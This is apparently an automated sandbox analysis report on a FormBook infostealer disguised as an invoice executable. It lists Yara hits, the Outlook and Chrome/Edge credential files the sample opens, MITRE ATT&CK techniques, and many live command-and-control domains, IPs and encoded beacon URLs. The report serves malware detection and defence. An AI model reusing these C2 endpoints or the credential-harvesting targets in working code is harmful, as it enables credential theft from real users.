Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Invoice_&_SOA_ready_for_dispatch.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3735548215.0000000004680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3735623760.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1351383564.0000000001340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3737944932.0000000005010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1352780699.0000000003580000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3735552179.00000000042E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\fontview.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\fontview.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.1350789547.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3735548215.0000000004680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3735623760.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1351383564.0000000001340000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3737944932.0000000005010000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1352780699.0000000003580000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3735552179.00000000042E0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact	Resource Development	Reconnaissance
Valid Accounts	Windows Management Instrumentation	Path Interception	512 Process Injection	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Abuse Accessibility Features	Acquire Infrastructure	Gather Victim Identity Information
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	Automated Exfiltration	4 Non-Application Layer Protocol			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	512 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	4 Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Scheduled Transfer	Fallback Channels			Data Encrypted for Impact	Server	Gather Victim Network Information
Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	13 System Information Discovery	VNC	GUI Input Capture	Data Transfer Size Limits	Multiband Communication			Service Stop	Botnet	Domain Properties
External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over C2 Channel	Commonly Used Port			Inhibit System Recovery	Web Services	DNS

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
Invoice_&_SOA_ready_for_dispatch.exe	42%	ReversingLabs	ByteCode-MSIL.Trojan.Generic
Invoice_&_SOA_ready_for_dispatch.exe	100%	Avira	HEUR/AGEN.1323731
Invoice_&_SOA_ready_for_dispatch.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://mozilla.org0/	0%	URL Reputation	safe
http://www.westcoastmedia.marketing/udwf/?G0Yxd2Q=XDsu41kr/WE9JT9AScR/+1k0JlKiFIG701T/ujNzDh06TiWTrNXnD44RUNnX/KpbWGAw0lPsPrhbwlOTmOIr6R/DwJG4M7kG+w==&pp=dZa4	0%	Avira URL Cloud	safe
http://www.littlehappiez.com/udwf/	100%	Avira URL Cloud	malware
http://www.littlehappiez.com/udwf/?G0Yxd2Q=d3XFPJoaQLbhU6h03+z0XCc0ox6MaGmyEGZO6Ue9tsKz9KlFIum590y6ceFEWr4SYEQ/fNsJ5znTfk9k4b6SgMzLlK80QmTNVA==&vhQT=aV8PeNo0MvDl1	100%	Avira URL Cloud	malware
http://www.iwhrkc.shop/udwf/?G0Yxd2Q=uaWfHshIK9gqRIt0eR4Tz5qfjwC0uWvEtBcNKoa2GFPJfFEePrXngeKx3tr3rBy7nKvOiQo6TdyP9ywL+/2JVArzIS+tipxZpg==&pp=dZa4	0%	Avira URL Cloud	safe
http://www.lxdedu.com/udwf/?G0Yxd2Q=2Pknl6RP8eYVb4X6Jw71HBsX3EzDU15MYpkSqP6Wnui62FTd2NB7+fGHhL+jrHNDvCcs8SUxdlzs7m6tHUr/+njhj/XBKtkfTg==&vhQT=aV8PeNo0MvDl1	0%	Avira URL Cloud	safe
http://www.otternaut.live/udwf/?G0Yxd2Q=pZ4HfquroA03Gi5vNwF4ItLuSTGmPoiR8InmRf339X8P+rCcKVr0Urjn620xlb/Iiubkhpo0DqZ1bcej5UiuLGGOXANOCS2GgQ==&vhQT=aV8PeNo0MvDl1	100%	Avira URL Cloud	malware
http://www.tutorwave.online/udwf/?G0Yxd2Q=P+fiFlpl7OLgwg5VHMgiIoMqSXbT5qRAvhgaNfc+psLdu/aEMeH5P0Irdy+G4rOOLUFD4nVEMYENkV+qciPdkHTOCgwyI1K3xg==&vhQT=aV8PeNo0MvDl1	100%	Avira URL Cloud	malware
https://pdds.quark.cn/download/stfile/rrxtuszryrsvrtzte/QuarkCloudDrive-v2.5.43-release-pckk	0%	Avira URL Cloud	safe
http://www.xn--4gq62f8w1alm9b.xyz/udwf/?G0Yxd2Q=4SYFJ+EdcnLhstYHjaYhZ0Xyh2Kg3P6YikQFgY7zApk8SZ1uWGpR3AVqWe4c3udQDum1CidNNnqrfkhOX4sOdDO6VZG27ug9uQ==&vhQT=aV8PeNo0MvDl1	100%	Avira URL Cloud	malware
http://www.sorenad.com/udwf/?G0Yxd2Q=ealZg/ITvpLJU7YFE/TF+8q+uExFybxcdjgzbBdGHgaAn5MnYWXQDBclabNRkiFFmFTfmTH8N/zDLP0J5EOM1vyD30GW5j90MQ==&pp=dZa4	0%	Avira URL Cloud	safe
http://www.lxdedu.com/udwf/	0%	Avira URL Cloud	safe
http://www.diabloseugene.com/udwf/?G0Yxd2Q=Z6xauRs66pTCKL+KzoyNUFozWOf0JDAANa247hz++z0llrRDJuB/QadTAD9i3swhMbuTmmXjFgWivfbmORZNoncA7F7QHJ1+AA==&vhQT=aV8PeNo0MvDl1	100%	Avira URL Cloud	malware
http://www.spark-tech-global.xyz/udwf/?G0Yxd2Q=pfKu+pVNsln4G6X0TIcdarC36EKmJps8u6QQpqwTd4K74JvWDy/kIYo7R3ufamPFtUrh+tiM68Q084b5gYWBh8dmFEHsBv37jg==&vhQT=aV8PeNo0MvDl1	100%	Avira URL Cloud	malware
https://littlehappiez.com/udwf?G0Yxd2Q=d3XFPJoaQLbhU6h03	100%	Avira URL Cloud	malware
http://www.aifuturesummit.com/udwf/?G0Yxd2Q=Kq0jCDSsi+gLhYagIFFza5XYEfPHq1wckJYs2pUOQJ4UOA08Cv/iplAOJSGKGG8twuAeLLQOU/XInoWNJu0WYoAEZtaSTts9sg==&vhQT=aV8PeNo0MvDl1	0%	Avira URL Cloud	safe
http://www.sorenad.com/udwf/	0%	Avira URL Cloud	safe
http://www.tutorwave.online/udwf/	100%	Avira URL Cloud	malware
http://www.633922.com/udwf/	0%	Avira URL Cloud	safe
http://www.xn--4gq62f8w1alm9b.xyz/udwf/	100%	Avira URL Cloud	malware
http://www.lxdedu.com/udwf/?G0Yxd2Q=2Pknl6RP8eYVb4X6Jw71HBsX3EzDU15MYpkSqP6Wnui62FTd2NB7+fGHhL+jrHNDvCcs8SUxdlzs7m6tHUr/+njhj/XBKtkfTg==&pp=dZa4	0%	Avira URL Cloud	safe
http://www.bellcom.media/udwf/?G0Yxd2Q=/fHzvDGB04J+q8b6XJE1xYe30bxweLJnilom5C96GpM+NoY5L9yFqNs9P5GPx0eLkQDxLFeKj8P05w7qGZ9X0/BmwspDAeolpA==&vhQT=aV8PeNo0MvDl1	100%	Avira URL Cloud	malware
http://www.westcoastmedia.marketing	0%	Avira URL Cloud	safe
http://www.diabloseugene.com/udwf/	100%	Avira URL Cloud	malware
http://www.autokit.help/udwf/	0%	Avira URL Cloud	safe
http://www.iwhrkc.shop/udwf/	0%	Avira URL Cloud	safe
http://www.westcoastmedia.marketing/udwf/	0%	Avira URL Cloud	safe
http://www.bellcom.media/udwf/	100%	Avira URL Cloud	malware
http://www.spark-tech-global.xyz/udwf/	100%	Avira URL Cloud	malware
http://www.otternaut.live/udwf/	100%	Avira URL Cloud	malware
http://www.633922.com/udwf/?G0Yxd2Q=EgoyY5F9PuSC7IWgflDFG7vO7ChOxNSXUZQtmoKTqYmDoJiW0KocQ9ej5sZbxdFlzd/pkXvUfPTapOCXwmOa8U5eEphhhK4tvg==&pp=dZa4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.diabloseugene.com	199.59.243.225	true	false	unknown
www.sorenad.com	136.243.218.18	true	false	unknown
5mm70f.shop	8.212.101.233	true	false	unknown
parkingpage.namecheap.com	91.195.240.19	true	false	high
www.spark-tech-global.xyz	162.0.222.119	true	true	unknown
www.633922.com	103.120.80.111	true	false	unknown
www.xn--4gq62f8w1alm9b.xyz	35.227.246.104	true	false	unknown
aifuturesummit.com	84.32.84.32	true	false	unknown
tutorwave.online	84.32.84.32	true	false	unknown
www.lxdedu.com	168.76.252.99	true	false	unknown
shops.myshopify.com	23.227.38.74	true	false	unknown
www.bellcom.media	91.195.240.123	true	false	unknown
www.littlehappiez.com	unknown	unknown	true	unknown
www.iwhrkc.shop	unknown	unknown	true	unknown
www.westcoastmedia.marketing	unknown	unknown	true	unknown
www.autokit.help	unknown	unknown	true	unknown
www.tutorwave.online	unknown	unknown	true	unknown
www.otternaut.live	unknown	unknown	true	unknown
www.aifuturesummit.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.tutorwave.online/udwf/?G0Yxd2Q=P+fiFlpl7OLgwg5VHMgiIoMqSXbT5qRAvhgaNfc+psLdu/aEMeH5P0Irdy+G4rOOLUFD4nVEMYENkV+qciPdkHTOCgwyI1K3xg==&vhQT=aV8PeNo0MvDl1	false	Avira URL Cloud: malware	unknown
http://www.westcoastmedia.marketing/udwf/?G0Yxd2Q=XDsu41kr/WE9JT9AScR/+1k0JlKiFIG701T/ujNzDh06TiWTrNXnD44RUNnX/KpbWGAw0lPsPrhbwlOTmOIr6R/DwJG4M7kG+w==&pp=dZa4	false	Avira URL Cloud: safe	unknown
http://www.otternaut.live/udwf/?G0Yxd2Q=pZ4HfquroA03Gi5vNwF4ItLuSTGmPoiR8InmRf339X8P+rCcKVr0Urjn620xlb/Iiubkhpo0DqZ1bcej5UiuLGGOXANOCS2GgQ==&vhQT=aV8PeNo0MvDl1	false	Avira URL Cloud: malware	unknown
http://www.iwhrkc.shop/udwf/?G0Yxd2Q=uaWfHshIK9gqRIt0eR4Tz5qfjwC0uWvEtBcNKoa2GFPJfFEePrXngeKx3tr3rBy7nKvOiQo6TdyP9ywL+/2JVArzIS+tipxZpg==&pp=dZa4	false	Avira URL Cloud: safe	unknown
http://www.westcoastmedia.marketing/udwf/	false	Avira URL Cloud: safe	unknown
http://www.littlehappiez.com/udwf/	false	Avira URL Cloud: malware	unknown
http://www.lxdedu.com/udwf/?G0Yxd2Q=2Pknl6RP8eYVb4X6Jw71HBsX3EzDU15MYpkSqP6Wnui62FTd2NB7+fGHhL+jrHNDvCcs8SUxdlzs7m6tHUr/+njhj/XBKtkfTg==&vhQT=aV8PeNo0MvDl1	false	Avira URL Cloud: safe	unknown
http://www.autokit.help/udwf/	false	Avira URL Cloud: safe	unknown
http://www.littlehappiez.com/udwf/?G0Yxd2Q=d3XFPJoaQLbhU6h03+z0XCc0ox6MaGmyEGZO6Ue9tsKz9KlFIum590y6ceFEWr4SYEQ/fNsJ5znTfk9k4b6SgMzLlK80QmTNVA==&vhQT=aV8PeNo0MvDl1	false	Avira URL Cloud: malware	unknown
http://www.xn--4gq62f8w1alm9b.xyz/udwf/?G0Yxd2Q=4SYFJ+EdcnLhstYHjaYhZ0Xyh2Kg3P6YikQFgY7zApk8SZ1uWGpR3AVqWe4c3udQDum1CidNNnqrfkhOX4sOdDO6VZG27ug9uQ==&vhQT=aV8PeNo0MvDl1	false	Avira URL Cloud: malware	unknown
http://www.iwhrkc.shop/udwf/	false	Avira URL Cloud: safe	unknown
http://www.sorenad.com/udwf/?G0Yxd2Q=ealZg/ITvpLJU7YFE/TF+8q+uExFybxcdjgzbBdGHgaAn5MnYWXQDBclabNRkiFFmFTfmTH8N/zDLP0J5EOM1vyD30GW5j90MQ==&pp=dZa4	false	Avira URL Cloud: safe	unknown
http://www.diabloseugene.com/udwf/?G0Yxd2Q=Z6xauRs66pTCKL+KzoyNUFozWOf0JDAANa247hz++z0llrRDJuB/QadTAD9i3swhMbuTmmXjFgWivfbmORZNoncA7F7QHJ1+AA==&vhQT=aV8PeNo0MvDl1	false	Avira URL Cloud: malware	unknown
http://www.diabloseugene.com/udwf/	false	Avira URL Cloud: malware	unknown
http://www.lxdedu.com/udwf/	false	Avira URL Cloud: safe	unknown
http://www.spark-tech-global.xyz/udwf/?G0Yxd2Q=pfKu+pVNsln4G6X0TIcdarC36EKmJps8u6QQpqwTd4K74JvWDy/kIYo7R3ufamPFtUrh+tiM68Q084b5gYWBh8dmFEHsBv37jg==&vhQT=aV8PeNo0MvDl1	false	Avira URL Cloud: malware	unknown
http://www.aifuturesummit.com/udwf/?G0Yxd2Q=Kq0jCDSsi+gLhYagIFFza5XYEfPHq1wckJYs2pUOQJ4UOA08Cv/iplAOJSGKGG8twuAeLLQOU/XInoWNJu0WYoAEZtaSTts9sg==&vhQT=aV8PeNo0MvDl1	false	Avira URL Cloud: safe	unknown
http://www.tutorwave.online/udwf/	false	Avira URL Cloud: malware	unknown
http://www.bellcom.media/udwf/	false	Avira URL Cloud: malware	unknown
http://www.sorenad.com/udwf/	false	Avira URL Cloud: safe	unknown
http://www.otternaut.live/udwf/	false	Avira URL Cloud: malware	unknown
http://www.633922.com/udwf/	false	Avira URL Cloud: safe	unknown
http://www.lxdedu.com/udwf/?G0Yxd2Q=2Pknl6RP8eYVb4X6Jw71HBsX3EzDU15MYpkSqP6Wnui62FTd2NB7+fGHhL+jrHNDvCcs8SUxdlzs7m6tHUr/+njhj/XBKtkfTg==&pp=dZa4	false	Avira URL Cloud: safe	unknown
http://www.xn--4gq62f8w1alm9b.xyz/udwf/	false	Avira URL Cloud: malware	unknown
http://www.spark-tech-global.xyz/udwf/	false	Avira URL Cloud: malware	unknown
http://www.bellcom.media/udwf/?G0Yxd2Q=/fHzvDGB04J+q8b6XJE1xYe30bxweLJnilom5C96GpM+NoY5L9yFqNs9P5GPx0eLkQDxLFeKj8P05w7qGZ9X0/BmwspDAeolpA==&vhQT=aV8PeNo0MvDl1	false	Avira URL Cloud: malware	unknown
http://www.633922.com/udwf/?G0Yxd2Q=EgoyY5F9PuSC7IWgflDFG7vO7ChOxNSXUZQtmoKTqYmDoJiW0KocQ9ej5sZbxdFlzd/pkXvUfPTapOCXwmOa8U5eEphhhK4tvg==&pp=dZa4	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js	fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js	fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.namesilo.com/domain/search-domains?query=bellcom.media	fontview.exe, 0000000C.00000002.3736597685.000000000548A000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000033DA000.00000004.00000001.00040000.00000000.sdmp	false		high
http://www.westcoastmedia.marketing	xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3737944932.000000000505E000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	fontview.exe, 0000000C.00000003.1583119919.0000000007DD2000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://img.sedoparking.com	fontview.exe, 0000000C.00000002.3736597685.000000000548A000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000006762000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000005AD2000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000005F88000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000033DA000.00000004.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003A22000.00000004.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000046B2000.00000004.00000001.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003ED8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://track.uc.cn/collect	fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.west.cn/services/mail/	fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.namesilo.com	fontview.exe, 0000000C.00000002.3736597685.000000000548A000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000033DA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.google.com	fontview.exe, 0000000C.00000002.3736597685.00000000057AE000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000036FE000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.namecheap.com/domains/registration/results/?domain=westcoastmedia.marketing	fontview.exe, 0000000C.00000002.3736597685.0000000006762000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000046B2000.00000004.00000001.00040000.00000000.sdmp	false		high
http://domshow.vhostgo.com/template/img/paimai/banner_jiaoyi.jpg)	fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://hm.baidu.com/hm.js?	fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js	fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	false		high
https://hm.baidu.com/hm.js?352bf0fb165ca7ab634d3cea879c7a72	fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.west.cn/cloudhost/	fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.namecheap.com/domains/registration/results/?domain=autokit.help	fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, fontview.exe, 0000000C.00000002.3736597685.0000000005F88000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003ED8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://pdds.quark.cn/download/stfile/rrxtuszryrsvrtzte/QuarkCloudDrive-v2.5.43-release-pckk	fontview.exe, 0000000C.00000002.3736597685.0000000005DF6000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003D46000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://img.sedoparking.com/templates/bg/NameSiloLogo.png	fontview.exe, 0000000C.00000002.3736597685.000000000548A000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.00000000033DA000.00000004.00000001.00040000.00000000.sdmp	false		high
https://mozilla.org0/	fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.west.cn/ykj/view.asp?domain=633922.com	fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://crash-reports.mozilla.com/submit?id=	fontview.exe, 0000000C.00000003.1583119919.0000000007DD2000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 0000000C.00000003.1531285109.0000000007D1D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.west.cn/services/webhosting/	fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.west.cn/services/domain/	fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	false		high
http://domshow.vhostgo.com/template/img/paimai/jiaoyixq_jiaoyi.jpg)	fontview.exe, 0000000C.00000002.3736597685.000000000643E000.00000004.10000000.00040000.00000000.sdmp, fontview.exe, 0000000C.00000002.3738584220.0000000007340000.00000004.00000800.00020000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.000000000438E000.00000004.00000001.00040000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	false		high
https://littlehappiez.com/udwf?G0Yxd2Q=d3XFPJoaQLbhU6h03	fontview.exe, 0000000C.00000002.3736597685.00000000052F8000.00000004.10000000.00040000.00000000.sdmp, xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003248000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.sedo.com/services/parking.php3	xIXlFDyvSnsfUSfsjsGwj.exe, 0000000E.00000002.3735725441.0000000003ED8000.00000004.00000001.00040000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	fontview.exe, 0000000C.00000003.1529295683.0000000007688000.00000004.00000020.00020000.00000000.sdmp	false		high
